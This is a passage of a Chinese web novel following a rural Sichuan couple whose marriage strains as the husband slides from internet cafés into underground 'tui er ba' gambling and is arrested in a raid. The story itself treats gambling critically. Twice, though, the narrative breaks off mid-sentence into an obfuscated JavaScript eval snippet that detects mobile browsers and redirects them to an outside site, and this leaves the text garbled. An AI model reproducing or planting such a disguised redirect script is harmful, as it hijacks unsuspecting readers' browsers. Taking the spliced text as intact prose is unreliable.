一次家族酒席后，赵庭春找了个机会，委婉地对赵家人提出了自己的观察：“秀梅，我多句嘴啊。我记得安然两岁多的时候，那小嘴叭叭的，说话可利索了，跟我家那小子吵架都不带输的。可无恙现在都两岁多了吧？我看她说话还是几个字几个字地往外蹦，词汇量好像不太多，平时也特别安静，不怎么爱主动说话……这跟安然那时候可不太一样。孩子都是宝，小心点总没错。我建议啊，要不抽空带无恙去县医院看看？查查语言发育什么的，图个安心也好。” 王秀梅作为母亲，心里其实也隐隐有些感觉。女儿在家里能听懂大人的话，有基本需求也会表达，比如“饿了”、“要抱抱”、“要什么东西”之类的，但确实不像同龄孩子那样叽叽喳喳，表达的主动性都显得弱一些。赵庭春这一说，她心里那点担忧瞬间增加了不少。 不可信其无，宁可信其有。 王秀梅还是觉得，要带她去医院检查。 然而，赵家其他人，尤其是杨红翠，对此却不以为然。杨红翠说：“秀梅，你不要太担心了，小孩子说话有早有晚，正常得很！我娘家表哥那个孙女，快三岁了才多说点话，现在不也好好的，口齿伶俐得很！咱无恙除了话少点，别的哪点不正常？能吃能睡能玩，机灵着呢！我看啊，就是性子文静，随了你！”赵兴强也在一旁点头附和。 王秀梅听着婆婆笃定的话语，再看着女儿安静乖巧、并无异常的样子，心里那点刚升起的担忧又慢慢被压了下去。加上最近她实在太忙了，不仅服装店要打理，新开张的录像厅那边，赵国亮和许耀刚两个大男人在经营上难免有疏漏，她得时常过去看看账目、帮衬着点。家里家外，两个孩子，事情堆成了山。 “也许……真的是孩子性子比较文静吧？等忙过这阵子再说……”王秀梅这样安慰着自己。于是，带赵无恙去看医生的事情，就在这日复一日的忙碌和家人的不以为意中，被悄无声息地搁置了。 36. 差异 时间迈入2009年，中国的互联网浪潮正以前所未有的速度席卷全国，这股风潮也悄然吹进了偏远的农村乡镇。在四川大山深处的清泉乡，变化也在悄然发生。 一些在外打工赚了钱的人回到家乡，开起了新潮的网吧。与之相伴的，还有一些打着“游戏厅”招牌的场所。不过，此“游戏厅”非彼游戏厅，里面摆的多是带有赌博性质的机器，最常见的就是“老虎机”。在“老虎机”里投入硬币，拍下按钮，看着滚轮转动，运气好就能吐出哗啦啦的现金。这种简单粗暴的刺激，对村里那些游手好闲，渴望一夜暴富的某些人来说，就像是裹着糖衣的毒药，一旦沾上，容易上瘾沉沦。 另外，在这些场所的隐秘角落，往往还藏着地下赌局。这在当时管理相对松散、比较混乱的农村，并不是什么秘密。恰恰相反，这还吸引了很多村子里的人前来围观。围观的人群里，不仅能看到一些无所事事的老人，凑热闹的年轻人，还有早早辍学的半大孩子，甚至还有学校那些不爱学习的“不良学生”，他们在一旁眼巴巴盼着庄家赢钱后能打赏点“喜钱”。 赵国亮和许耀刚合伙开的录像厅，本来就是镇上年轻人扎堆的地方。娱乐信息在这里非常流通，谁都知道镇上哪里新开了网吧，哪家“游戏厅”最热闹。许耀刚天性爱玩，又没成家立业，了无牵挂，很快就成了网吧的常客。起初是一个人无聊打打游戏，后来觉得没劲，就开始软磨硬泡地拉赵国亮一起去。 “亮哥，走！陪我打两把魔兽世界，录像厅这会儿人都没一个，干坐着有啥意思？”许耀刚的邀约总是那么热情洋溢。 家里有父母操持，两个孩子他们也帮忙照看，服装店那边又有王秀梅守着，录像厅……赵国亮也渐渐觉得，好像不需要自己时时刻刻钉在那里。王秀梅也不放心录像厅，时常两头跑，无形中反倒给了赵国亮和许耀刚更多的“自由”空间。 反正店里没事，去网吧放松一下怎么了？经济上没有太大压力，盖房的钱还清了，现在生活安稳，两个孩子也健康长大。赵国亮心里那根绷紧的弦，在许耀刚的拨动下，不知不觉就松了。他开始心安理得地跟着许耀刚，沉浸在虚拟世界的厮杀和兄弟间的吆喝中，仿佛又找回了高中时代那种无拘无束的快乐。 起初，王秀梅对此是睁一只眼闭一只眼的。赵国亮去网吧玩，从不瞒着她，甚至会大大方方地告诉她行踪，有时兴致来了还邀请她一起去：“秀梅，走，带你去网吧开开眼？玩两把？挺有意思的！”王秀梅也是年轻人，对新鲜事物也有好奇。在智能手机尚未在农村里普及、村里娱乐活动极度匮乏的年代，网吧确实是一个新奇有趣的去处。 偶尔晚上，把孩子哄睡交给老人，夫妻俩甚至会跑去网吧，在魔兽世界里并肩作战一会儿，这短暂的“二人世界”也曾是平淡生活中的一点小甜蜜。 一次两次还行，可是时间久了，问题渐渐浮现。王秀梅发现，只要是非赶集日，原本应该守在录像厅看店的赵国亮和许耀刚，关门的次数越来越多。好几次她去录像厅，只见大门虚掩，里面空无一人。打电话过去，十有八九能听到电话那头激烈的游戏音效和赵国亮压低的声音：“喂？秀梅？啊……在忙，在忙，马上回来！快了，这局打完就回！”可这“一局”的时间，往往是以小时计的。 这种被敷衍、被忽视的感觉，像细小的砂砾，一点点硌在王秀梅的心眼睛里，让她不舒服。曾经那个把她的话当圣旨、不用开口就能体贴入微的赵国亮，如今被游戏勾走了魂，变得心不在焉，对她的话左耳进右耳出。巨大的心理落差让她倍感心累。 而对赵国亮来说，王秀梅的催促电话总是在战况最激烈的时候响起，打断他的操作，影响他和队友的配合，让他烦躁不已。明明已经说了“打完就回”，为什么还要不停地打电话来催？更让他觉得没面子的是，王秀梅有时会直接杀到网吧，在众目睽睽之下催他下机回家。他觉得王秀梅变了，变得像自己母亲一样唠叨、管束，失去了往日的温柔，每次开口都像是在质问。渐渐地，他不再主动报备行踪，甚至开始下意识地回避。 这种矛盾有时还会蔓延到饭桌上。一家人围坐吃饭，王秀梅忍不住会提起：“爸，妈，今天下午我去录像厅，又没看到阿亮他们刚在店里……” 她本意是想让公婆知道情况，并不是告状，但话一说出，听在赵国亮耳中却格外刺耳。 一回到两人房间，赵国亮就忍不住发作：“秀梅！你能不能别老在爸妈面前说我‘又’没在店里？我哪里没顾店了？店里没事我才出去的！你这样一说，搞得我好像天天在外面鬼混不务正业似的！”他的语气充满了不耐烦和指责。 王秀梅看着眼前生气的男人，心里一阵委屈。她反思自己是不是不应该在饭桌上提，于是放软了姿态：“对不起，是我不好，不该在爸妈面前说这些。以后我不说了。”她的示弱果然让赵国亮的情绪缓和了一些。 看到丈夫态度转变，王秀梅接着心平气和地沟通：“你去网吧打游戏放松，这个很正常，我偶尔也会和你一起去。我的意思并不是不让你去。但我觉得凡事得有个度，是不是？在店里正常营业的时间，我好几次去录像厅都找不到人，这就不太合适了。我们开这个店是挣钱的，不是开着玩的。总得先把店里顾好，才能安心去玩，不是吗？” 她的声音不高，没有指责，只有平静的分析和恳切的期望。 听到这番入情入理的话，赵国亮瞬间感到愧疚，他意识到确实是自己做得不对，连忙上赶紧 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赵国亮心疼地把她搂进怀里，轻轻擦去她的泪水，低声解释：“我知道，我知道，都是我不好。其实……其实录像厅的生意，最近确实不行了。”他叹了口气，说出了实情，“现在镇上开了网吧，年轻人想看啥电影电视剧，直接在网上就看了，又快又方便，哪个还专门跑来租碟子看？店里一天也卖不出几张碟，冷冷清清的。我和刚子觉得干坐着也是浪费时间，所以才……”这是他和许耀刚泡网吧时亲眼所见，也是录像厅日渐萧条的现实。 这一夜的沟通，似乎暂时清除了两人之间的嫌隙。坦诚的交流是夫妻相处之道，也是他们两人一直以来的交流方式。然而，这次风波对于两人的心态却有了不一样的转变。 对赵国亮而言，当务之急是安抚好妻子的情绪。他想着虽然录像厅生意变差了，但还能勉强维持，另外还有服装店撑着。家里没有外债，父母也有收入，不需要他们额外补贴。现在的日子，有吃有穿，有儿有女，父母健康，还能和朋友一起玩玩，他觉得已经很满足、很幸福了，似乎没那么沉重的压力。 但对王秀梅来说，“录像厅生意不行了”这句话，像一块石头砸在她的心上。这两年，服装店的生意也一年不如一年，竞争越来越激烈。两个孩子像小树苗一样飞快地长大，以后读书、生活的开销只会越来越大，甚至她想过让孩子去城里读书，享受更好的教育资源。作为母亲，她无法像赵国亮那样“随遇而安”。她不能只看着眼前，她必须为孩子的未来、为这个家更长远的生计打算。 这份沉甸甸的责任感和对未来的隐忧，让她感到了生活压力。 男人和女人的心思，似乎天生就隔着一道沟壑。 女人似乎天生就爱操心家庭，这不绝对。但至少在农村，大部分的已婚女性是这样，她们似乎总比男人想得更远，操心得更多。 王秀梅，正是这千千万万个为家庭未来殚精竭虑的女人中的一个。而赵国亮，还沉浸在他认为的“岁月静好”之中。平静的水面下，暗流已然涌动。 37. 欺骗 人性的弱点往往在于不长记性，因为这是人性的惰性，劣根。 上次和王秀梅争吵过后，赵国亮确实安分守己了几天。但许耀刚却像浑身长满了刺，坐立不安。两个人百无聊赖地守在冷冷清清的录像厅里大眼瞪小眼，对他来说简直是种酷刑。 “亮哥，我们这么干坐着也不是事儿啊！今天又不是赶集，人都没有几个！”许耀刚一脸无奈的瘫坐在椅子上，思索着该怎么说服他，“我看这样，以后非赶集日，就留一个人看着就行了，我俩轮班。另一个该干嘛干嘛去，你看行不行？” 此刻的许耀刚，满脑子都想赶紧飞往他的极乐之地。 赵国亮想了想，觉得似乎也有点道理。于是，两人达成了这个“轮班守店”的协定。 然而，这个协定很快就变成了一纸空文。 因为轮到许耀刚守店时，他根本坐不住。往往是赵国亮前脚刚到网吧开了机，还没打开游戏，许耀刚后脚就跟了进来，嬉皮笑脸地在他旁边也找了台机子：“嘿嘿！我就知道你在这儿，一个人玩多没劲，兄弟陪你！” 这让赵国亮心里很不舒服，但他却没法发怒。毕竟轮到自己守店时，许耀刚也压根不管他，甚至直接邀请他一起走：“亮哥，别傻坐着了，走啊，一起上线！” 那眼神仿佛在说守着没顾客的店是件多么愚蠢的事。 “刚子，我们不是说好轮班的吗？那我们守店的意义在哪里？”赵国亮忍不住皱眉。 “哟！你终于说对了！根本没有人来，我们守在店里有什么意义？”许耀刚一脸“你终于悟了”的神情。 许耀刚满不在乎地摆摆手，拍了拍赵国亮的肩膀，“你还没明白吗？只要不是赶集日，咱们店根本没人来！咱俩轮流在那儿干坐着，都在做无用功。我懂你，没办法，你要听秀梅的要求，你在遵守她给你的任务，是在‘做给她看’，根本不是按你内心的想法在做，我们这又是何必呢？” 赵国亮被噎住了。许耀刚的话像根针，戳破了他心里那层窗户纸。他何尝不知道守着一个没生意的店是徒劳？只是碍于上次吵架对王秀梅的承诺，才勉强维持着表面的规矩。被许耀刚这么赤裸裸地挑明，他一时竟无言以对，只能无奈地叹口气：“算了……先这样吧。” 他甩甩头，将注意力重新投入到眼前的屏幕上，输入游戏账号和密码。游戏世界里激烈的厮杀和短暂的胜利快感，暂时麻痹他在现实中的烦恼，让人沉溺其中，不愿醒来。明天的事情明天再说吧！ 当然，这些都是赵国亮偏执的想法。因为他不懂王秀梅为什么没人也要去店里守着的真实目的。 不去看店后，网吧泡久了，许耀刚也渐渐觉得天天打游戏也很无聊。有一天，网吧里一个经常跟他一起组队的年轻男生，大家都叫他杨顺子，他见许耀刚不想玩游戏了，于是打算带他去看点刺激的，“刚子，走，带你去个地方开开眼？那边今晚有局大的。” 于是，许耀刚就被带去了游戏厅附近的一个居民房，里面有很多人在围观一场赌博。 今天这局大的赌博就是“推二八”。这是目前农村人玩得最流行、也最能聚人气的赌博方式之一。 所谓“推二八”，就是一个人或者几个人合伙当庄，也就是当老板。然后把麻将筒子随机堆成两列，庄家坐在上方掷骰子决定发牌顺序，四方位置的人各拿两张麻将牌。另外三家的牌和庄家比大小，大的赢钱，小的输钱。其中，二筒和八筒是最大的牌，庄家拿到就通杀，所以这也是游戏名字的由来。另外在桌上“四方”，也就是正东、南、西、北，和“四角”，即东南、西南、西北、东北，八个位置都可以下赌注。 这种玩法很简单，没有什么技术含量，比得就是运气，当然前提是庄家不出老千的情况下。而且围观的所有人都可下注，下在哪个位置都行，想来一局也行、两局也行，全凭心情。因此，每逢有“大人物”当庄时，那天的气氛都会异常火爆。 平时村里的熟人玩，多少会设个上限，玩到一定的时间就结束。但一旦遇到“大人物”当庄家，开一个“上不封顶”的大局，那在当地就会被警察规定为大额赌博。一晚上输赢几万块稀松平常，对于当时经济并不宽裕的农村人来说，一夜之间可以输掉一年打工挣到的所有血汗钱，绝非危言耸听。 正是这种巨大的风险伴随着巨大的诱惑，让“推二八”充满了致命的“刺激”。 起初，许耀刚只是站在人群外围，伸着脖子看热闹。那晚的庄家手气背到了家，连连输钱，好几把都是通输。围观的人们各个手里拿着一沓现金，像闻到血腥味的鲨鱼，越来越兴奋，疯狂下注。下注的人也越来越多，一块、两块、五块、十块都有……因为不设上限，甚至有人甩出红彤彤的百元大钞。 旁边的杨顺子早已按捺不住，挤进人群开始下注，手气居然不错，连赢了几把。 “刚子，今晚庄家手气不行，试试手气呗！”顺子赢了几张票子，兴奋地回头招呼许耀刚。 看着桌上堆积的钞票，听着周围人赢钱时兴奋的尖叫，许耀刚的心脏狂跳起来。在顺子的怂恿和现场狂热气氛的裹挟下，他脑子一热，掏出钱包，也挤了进去：“来来来！五十！压下家！” 庄家亮牌，3点！通输！ 庄家亮牌，5点！只险胜上家一门。 庄家亮牌，8点！结果下家是豹子，对门是9点，上家是28！通赔！ ...... 庄家输得越多，围观的人越心动，下注就越疯狂。钞票一张又一张的飞向赌桌。这一夜，庄家输掉了近两万块！当晚只要下注的人，基本上都有赢，只是赢多还是赢少的问题。 许耀刚因为进场晚，也赢了600块，顺子则赢了800多。这相当于当地农民当时一个月的收入！ 这一夜的“刺激”像电流一样击穿了许耀刚的理智。赢钱瞬间的狂喜，输赢转换间的巨大心跳落差，人群狂热的气氛……这一切混合成一种前所未有的、令人眩晕的快感，彻底俘获了他。他像上了瘾，不知疲倦地沉浸其中。 接下来的几天，许耀刚几乎和顺子形影不离，连录像厅都很少去。赵国亮经常找不到他人，打电话也不接。直到一天下午关店时，顺子骑着一辆破旧的摩托车，“突突突”地停在录像厅门口，冲着里面喊：“刚子！快点！今晚还是老地方，听说刀哥今晚也要来，这次的场面更大！去晚了占不到好位置！” 许耀刚闻声出来，看到赵国亮也在，也打算让兄弟一起去见见世面，便热情地招呼：“亮哥，走！一起去见识见识？今晚肯定更刺激！” 赵国亮这才知道许耀刚这几天在干什么。他知道“推二八”，以为是村里办红白喜事时，大家小打小闹的那种，他也玩过，想着去看看也无妨，便上了顺子的摩托车后座。 到了地方，外面已经围得水泄不通，有的人甚至站在板凳上看，赵国亮三人只能跟其他人一样，搬个板凳垫在脚下。 又是上不封顶！ 赌桌上堆满了钞票，除了本乡的熟面孔，还有不少生面孔，应该是其他乡镇甚至更远地方来的赌徒。气氛比许耀刚描述的那晚更加狂热和紧张。怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788784|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得今晚的人那么多。 顺子显然是老手，熟练地把钱往前递给靠近桌子的人：“帮我压中门，五十！” 钱在人头攒动中传递，最终落到赌桌上。 今晚的庄家手气正旺，一路通吃，已经有好几个坐“门”的赌客输光了本钱，垂头丧气地让开了位置。 “妈的！太邪门了！刀哥！刀哥来了没？请刀哥来镇镇场子啊！”有人高声喊道。 人群一阵骚动。一个剃着寸头、脖子上隐约可见纹身、眼神带着几分狠厉的精壮大汉被簇拥着挤了进来。这个绰号叫“刀哥”的人是隔壁乡镇的，在整个县的各个乡镇地下赌圈里颇有威望。 “刀哥来了！刀哥坐千门！兄弟们，扎起！杀杀庄家的威风！”人群爆发出兴奋的呼喊。 在众人的鼓噪和期待的目光中，刀哥大马金刀地坐在了“千门”的位置上。仿佛有了主心骨，赌徒们纷纷将钞票押注在千门。 庄家亮牌：9点。 刀哥亮牌：豹子！杀庄家！ “好！！！” 震耳欲聋的欢呼几乎掀翻屋顶。这一局，终于打破了庄家连赢的势头！ 刚刚已经停止下注和还在犹豫观望的人瞬间红了眼，纷纷掏出钱下注。许耀刚激动地捅了捅赵国亮：“亮哥！看到没？跟着刀哥走！稳赢！” 赵国亮看着桌上一沓沓的钞票，听着周围震耳欲聋的呼喊，只觉得口干舌燥，一股热血冲上头顶。他鬼使神差地掏出口袋里的钱，递给了前面的人：“跟…跟千门！压二十！” 从一块两块、到一十二十，再到一百两百。 这一夜，更加疯狂。 庄家输掉了近八万块！刀哥一人就赢了两万多！顺子、许耀刚和赵国亮跟着刀哥押注，每人也赢了八百多块！ 巨大的刺激过后是巨大的空虚和一丝后怕。赵国亮看着手里的八百多块钱，又想到家里的王秀梅，心里直打鼓。顺子看出了他的顾虑，豪爽地招呼：“怕啥子怕！走，去我家喝两杯，就说在我家喝酒晚了不回去了！” 于是，三人跑到顺子家，用啤酒掩盖身上的烟味和赌场的亢奋气息。 从此，顺子取代了高中时期的吴孟霖，成了赵国亮和许耀刚新的“铁三角”。网吧、游戏厅、隐秘的赌场牌桌，成了他们流连忘返的“乐园”。 像上不封顶的“推二八”，这样动辄数万的大赌局并非天天都有，需要道上有点实力的“大人物”轮流坐庄才能开得起局。没大局的时候，他们就玩“炸金花”，输赢也不小。再不然，就凑四个人打打麻将、三个人斗斗地主，玩点“小钱”，娱乐娱乐。 这种带着危险气息却又充满致命诱惑的生活，让赵国亮感受到了前所未有的刺激。那种肾上腺素飙升的感觉，仿佛让他找回了高考前那种不顾一切的疯狂。他知道，这种规模的赌博绝对不能让王秀梅知道。平时玩点小牌、打打麻将，王秀梅也在场时玩的那种，她是不会在意的。毕竟在农村，这在每逢过年还有红白喜事的酒席上是很常见的。所以，每次玩小牌，他还会坦然地告诉王秀梅去向。 而每次踏进那些隐秘赌场，面对那令人窒息的狂热氛围时，赵国亮都会在心里给自己划一条底线：“就在能力范围内玩玩，输赢控制在三百块左右，绝对不会超出预算！反正也没多余的钱可以输，就当凑个人头热闹一下……” 他一遍遍这样安慰着自己，试图用这脆弱的理由麻痹良知和警惕。 人，在即将滑向深渊时，总是如此这般地自我欺骗。 因为他们永远高估了自己的自制力，却远远低估了贪婪的可怕。 38. 警局 女人的第六感总是神秘却又出奇地准，尤其是在恋爱和夫妻之间。 王秀梅拉扯着两个孩子，还要顾着小店的生意，大部分时间都在琐碎中忙碌。而赵国亮，她的丈夫，却仿佛停留在婚前时期。每次她去找他，十有八九不是网吧、游戏厅，就是牌桌上。他的那些“兄弟”们见到她，总带着几分调侃，几分起哄： “哟，嫂子又来查岗了！“ “亮哥，快跟嫂子回家吧！” “就是，赶紧的，回家带孩子吧！” ..... 这些带着玩笑的调侃让王秀梅感到心累。没有结婚、没有孩子之前，她也会陪着他一起玩闹。可结了婚，特别是有了孩子之后，一切都不同了。她知道，赵国亮还是那个赵国亮，一点没变。 变的是她自己。 这才让她感到痛苦。 因为，她不再想那样“玩”下去。作为妻子，作为孩子的母亲，她希望丈夫能担起责任，能给这个家一个稳固的依靠。 她渴望他能改变。 可是，改变一个人谈何容易？ 当妻子不得不一次次扮演监督者，逼着丈夫回归家庭，履行责任时，她发现自己变得易怒、多疑，甚至有些蛮横泼辣——王秀梅厌恶这样的自己。她厌恶一次次打电话得不到回应后那控制不住的得寸进尺；厌恶自己默默地站在丈夫牌桌后，看着他在牌局里眉飞色舞，自己却像个局外人般尴尬沉默；更厌恶丈夫事后抱怨：“你怎么连这点私人空间都不给我？” 王秀梅好像意识到了，她好像开始厌倦现在婚姻的模样。但她天性温和，极力避免争吵。每次看到两个孩子亲昵地叫着“爸爸”，扑进赵国亮怀里玩耍，看到饭桌上的家庭温馨画面，她又硬生生把不满和委屈压下去。 她反复告诉自己：这不也挺好吗？他一直就是这样的啊。当初的他也是这样的，不是吗？ 一遍又一遍的自我安慰，如同钝刀子割肉。王秀梅选择了沉默，选择了独自消化这些情绪。 日子就这样在压抑的平静中滑过。 一个再普通不过的夜晚。王秀梅在厨房洗完碗，带两个孩子洗了澡，好说歹说哄着他们关掉电视上床睡觉。接着，又蹲在卫生间，搓洗着孩子们换下的衣服。 水流声哗哗，王秀梅扫了一眼房子。赵国亮不在家。此刻，他或许还在街上某个场所，和他的朋友们“找乐子”。 王秀梅对此早已麻木，习以为常。 刚把晾好的衣服挂好，准备洗漱睡觉，床头柜上的手机响了起来。来电显示是“李超”。王秀梅心头莫名奇怪，李超很少会这么晚给她打电话。 “嫂子，”电话那头李超的声音急促又刻意压低，“有急事跟你说，你先别慌，也别告诉大伯和大娘。” 王秀梅听着李超焦急的声音，她第一个念头就是赵国亮，是不是意外事故？ 她故作镇定，内心祈祷，但还是忍不住声音的颤抖：“嗯嗯，怎么了？是阿亮出什么事情了吗” “他被警察带走了！我刚打听到消息，估计要关到县里的派出所。” 不是车祸？不是意外受伤？王秀梅悬着的心稍微平稳了一些，随即又被一股更复杂的情绪攫住——他被警察抓了？！ 她急促地问：“啊？什么？被警察带走了？为什么？他干什么了？！” 李超知道这事肯定瞒不住，早晚她都得知道，索性实话实说，但言语间还是替赵国亮遮掩了几分：“就是…道上那帮人今天在“推二八”，玩得有点大。亮哥他们几个在旁边看热闹，结果警察来了，一锅端，都给带走了。” “看热闹”三个字，他咬得格外清晰，用词很斟酌，极力撇清赵国亮参与赌博的嫌疑。 王秀梅毕竟是本地人，又在街上开店，人情世故、街坊传闻都门清。乡里有些人聚赌，甚至有人围观，她都知道。这种场子，风险极高，是很容易出事故的。要么是赌徒输红了眼动刀子，要么就是警察突袭抓人，都是迟早的事。更可怕的是，普通人去围观，在那种狂热气氛的裹挟下，十有八九都会忍不住下场。但，一旦下场了，要么输个精光，要么赢了钱也会被那些“道上”的人用各种手段给弄回去，总之，没人能全身而退。 所以，王秀梅对赵国亮跟朋友小打小闹玩牌娱乐，还能勉强容忍。但绝对不准他靠近那种“道上”的赌局，连围观都不行。她太明白，在这种巨大的诱惑和刺激面前，自律是多么脆弱的东西。 心情从恐惧过后是短暂的庆幸，庆幸不是人命关天的事，紧接着，随之而来的是失望。 为什么？他为什么要去看热闹了？ 为什么明明警告过无数次，他还是要背着她去那种地方？ 但是理智上，她还是要出面去解决问题。人已经进去了，现在不是生气的时候。王秀梅抬手抹去眼角的泪水，走到衣柜前，拉开最底层的抽屉，拿出银行卡。然后，她深吸一口气，调整好表情，轻轻敲响了公婆的房门。 “妈，”她对开门的婆婆杨红翠说，语气尽量平和，“阿亮在录像厅那边跟几个朋友喝多了，醉得不省人事。我得去看下情况，顺便照顾他，今晚可能就不回来了。明天早上麻烦你照顾下两个孩子，送安然去下学校。” 交代清楚家里的事，王秀梅拿起手电筒，独自走进夜色里。哪怕夏日，山区的夜风还是带着一丝凉意，手电筒的光柱在黑暗中摇晃。她快速地走着，心头翻江倒海：难过、愤怒，焦虑，茫然，失望……各种滋味混杂在一起，压在胸口。 找到李超时，他借来的那辆半旧的私家车已经等在路边。王秀梅拉开车门坐进副驾，尽管心乱如麻，她还是努力维持着表面的沉稳，声音有些沙哑地问：“李超，他这个事，你现在具体了解多少？” 李超对王秀梅一直都是有特别好感的，长期相处后是对她这个人本身的一种欣赏。 从第一次在大巴车上遇见，就被她清秀温婉的美貌吸引。后来她和赵国亮恋爱、结婚，他们这群兄弟经常一起吃饭玩耍。王秀梅永远那么文静、有礼貌，说话轻声细语、温柔地看他们。即使赵国亮做了再不好的事，她也从不当着外人的面和他翻脸吵闹，都是克制平和地有商有量。这让他们这群光棍兄弟对赵国亮羡慕嫉妒恨，都觉得赵国亮是真的上八辈子修来的福气，才娶到王秀梅这样温柔漂亮又能干的媳妇。 “嫂子，你先别太担心，”李超一边发动车子，一边斟酌着措辞，“我刚才又托人问了问。这次好像是因为刀哥那帮人被当庄的张胖子他们做局坑了。刀哥输急了，发现出老千还是啥的，就当场闹起来了，动静太大，就有人报了警。警察来了自然是一锅端。我估计，玩得大的那几个和当庄的肯定关得久，像亮哥他们这种在旁边看热闹的，花点钱保释出来就没事了。” 王秀梅靠在椅背上，目光直直地望着前方被车灯切割开的黑暗路面，没有看李超。她的声音很平淡，带着一种透支后的疲惫：“嗯，我带了银行卡的。今晚，辛苦你了，李超。” 李超敏锐地察觉到王秀梅身上那股不同寻常的低气压，与往日的温婉截然不同。他识趣地不再说话，只是专心地开车。车里只剩下引擎的轰鸣和沉默，只有王秀梅偶尔问起细节时，他才简短回应。 到了县城的派出所，已是深夜。李超先下车去找他提前联系好的熟人打点。王秀梅则走到旁边的银行，在ATM机，输入密码，取出了一万块。前几天刚进了一批货，小店和录像厅的收入流水也基本是她一手打理。这一万块，这是她和赵国亮所有的现金。 取好了钱，王秀梅跟着李超找到的那个熟人，走进派出所。在值班民警的带领下，她看到了拘留室里的人：赵国亮、许耀刚，还有杨顺子。 许耀刚和杨顺子一看到王秀梅和李超，眼睛立刻亮了，仿佛看到了救星。而站在一旁的赵国亮，眼神躲闪，在王秀梅那毫无温度的目光注视下，羞愧地低下了头，恨不得找个地缝钻进去。他甚至在心里埋怨李超：干嘛要叫她来？就不该找王秀梅来处理。 王秀梅面无表情地在文件上签了字，交了三个人的罚款，一共六千。警察例行公事地训诫着赌博的危害，告诫家属要严加管教，不要再去参与之类的话。王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788785|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀梅安静地站在一旁，微微低着头，机械地点头应和着。 她是这里最配合的一位听众。 手续办完，三人被释放出来。跟着李超和他找的熟人一起走出派出所大门。王秀梅立刻从包里拿出一个事先准备好的红包，塞到那人手里：“太麻烦您了，一点心意，买包烟抽。” 一番推辞和客套后，那人收下红包，匆匆离开了。 “嫂子！嫂子！这回可真是太谢谢你了！”许耀刚一获得自由，就急忙凑到王秀梅跟前，满脸堆笑地感谢，“明天我把钱转给你！我们真是倒了血霉了，纯粹就是看个热闹，结果就被抓了，真是该背时！” 杨顺子也一脸晦气地附和：“就是！张胖子那伙人太他妈不地道了！不就是看刀哥前几次手气好赢钱眼红吗？这次故意做局想把钱捞回来！你们看着吧，刀哥能饶得了他们？迟早得被收拾！妈的，一点规矩都不讲！”他越说越激动。 许耀刚一听这话不对，赶紧用力扯了扯顺子的衣服，制止他再说下去。顺子这才反应过来，偷眼看了看一旁一言不发的赵国亮，又瞄了一眼面无表情、眼神冰冷的王秀梅，意识到自己说漏嘴了，赶紧闭嘴，把手里刚点着的烟扔地上，用鞋底狠狠碾灭。 “那个…嫂子，亮哥，”许耀刚很有眼力见，赶紧扯开话题，“今晚太晚了，我跟我叔说好了去他家凑合一宿。顺子，走，跟我一块儿去！” 说着，不由分说地拉着还愣着的顺子，快步离开。 派出所门口昏黄的路灯下，只剩下王秀梅、赵国亮和李超三人。空气仿佛凝固了，赵国亮低着头，脚尖无意识地碾着地上的小石子。王秀梅则望着远处街道零星的车灯，侧脸在灯光下显得异常冷硬。 看着两人的气氛，李超赶紧跳出来打圆场：“这都后半夜了，要不…在城里找个旅馆先凑合睡一觉？明早再回去？” “不了，回去吧。明天早上还要送安然上学。” 王秀梅的声音没有丝毫波澜，平静得像一潭死水，她刻意强调了“送安然上学”这个日常的责任，像一根无形的刺，精准地扎在赵国亮的心上。 赵国亮身体明显僵了一下，头埋得更低了。知道自己做错事情的赵国亮此刻不知道该说什么，尤其还是在兄弟李超面前，他更是一个字也说不出来，于是依旧选择沉默。 李超叹了口气，拉开车门：“那行，上车吧嫂子，亮哥。” 他刚坐进驾驶座，转头就看到王秀梅拉开副驾的车门坐了进来，动作利落，没有丝毫犹豫。赵国亮则默默地拉开后车门，跑到后排。 李超发动车子，忍不住又看了一眼旁边的王秀梅。她依旧直视着前方，眼神空洞而淡漠，仿佛灵魂已经抽离。灯光掠过她白净的侧脸，李超第一次在她脸上看到如此深重的难过和疲惫，已经不再是曾经在大巴车上笑容明媚、眼神清澈的女孩。 赵国亮真不是个东西！ 虽然和赵国亮是兄弟，但此刻，他满心都是对王秀梅的怜惜。好好的一个家，好好的老婆孩子热炕头不知道珍惜，非要往那种地方钻！虽然许耀刚、顺子他们去，甚至自己偶尔也去凑个热闹，但大家都是光棍一条，无牵无挂。你赵国亮凭什么？ 真是身在福中不知福！早晚得把自己作死！ 李超一边在心里骂骂咧咧，一边打起十二分精神开车。夜里的山路蜿蜒崎岖，本就难开，再加上车里这诡异的三重沉默，他必须全神贯注。 后座的赵国亮缩在阴影里，像个罪人。副驾的王秀梅如同一尊没有温度的雕像。只有引擎声和轮胎摩擦路面的声音在死寂中回荡。这种感受真的让他难受极了！ 抵达镇上录像厅门口时，已是凌晨三点四十。街道空无一人。 “李超，今晚真的太感谢你了。就把我们放这儿吧，录像厅里有地方睡。你赶紧回去休息，折腾一晚上了。”王秀梅看了眼手机，语气真诚却难掩疲惫。 “谢了。”赵国亮终于挤出两个字，声音干涩嘶哑。 李超看着赵国亮耷拉着头，给了他一个“好自为之”的眼神，最终什么也没说，只是叹了口气，于是开车离去。 39. 争吵 